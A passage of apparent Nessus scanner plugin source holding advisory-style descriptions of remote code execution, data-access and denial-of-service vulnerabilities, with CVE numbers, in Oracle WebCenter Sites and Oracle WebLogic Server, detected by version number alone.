  - A remote code execution in the Oracle WebCenter Sites component of Oracle Fusion Middleware (subcomponent:
    Install (Apache Common Collections)). An unauthenticated, remote attacker can exploit this, via a crafted
    serialized Java object, to bypass authentication and execute arbitrary commands. (CVE-2015-7501)

  - An unspecified vulnerability in the Oracle WebCenter Sites component of Oracle Fusion Middleware
    (subcomponent: Server). An unauthenticated, remote attacker can exploit this, via HTTP, to obtain access
    to critical data or complete access to all Oracle WebCenter Sites accessible data as well as unauthorized
    update, insert or delete access to some of Oracle WebCenter Sites accessible data and unauthorized ability
    to cause a partial denial of service (partial DOS) of Oracle WebCenter Sites. (CVE-2017-3542)

  - A remote code execution in the Oracle WebCenter Sites component of Oracle Fusion Middleware (subcomponent:
    Third Party Tools (Struts 2)) due to incorrect exception handling and error-message generation during
    file-upload attempts. An unauthenticated, remote attacker can exploit this, via a crafted Content-Type,
    Content-Disposition, or Content-Length HTTP header, to bypass authentication and execute arbitrary
    commands. (CVE-2017-5638)

In addition, Oracle WebCenter Sites is also affected by several additional vulnerabilities including code execution,
denial of service, information disclosure, and other unspecified vulnerabilities. Note that Nessus has not attempted to
exploit these issues but has instead relied only on the application's self-reported version number.");

"The version of Oracle WebLogic Server installed on the remote host is
affected by multiple vulnerabilities :

  - A remote code execution vulnerability exists in the
    Apache Struts component due to improper handling of
    multithreaded access to an ActionForm instance. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted multipart request, to execute
    arbitrary code or cause a denial of service condition.
    (CVE-2016-1181)

  - An unspecified flaw exists in the Web Services
    subcomponent that allows an unauthenticated, remote
    attacker to modify or delete arbitrary data accessible
    to the server. (CVE-2017-3506)

  - A remote code execution vulnerability exists in the Web
    Container subcomponent due to improper handling of
    reflected PartItem File requests. An unauthenticated,
    remote attacker can exploit this, via a specially
    crafted request, to execute arbitrary code.
    (CVE-2017-3531)

  - A remote code execution vulnerability exists in the
    Apache Struts component in the Jakarta Multipart parser
    due to improper handling of the Content-Type,
    Content-Disposition, and Content-Length headers.
    An unauthenticated, remote attacker can exploit this,
    via a specially crafted header value in the HTTP
    request, to execute arbitrary code. (CVE-2017-5638)");
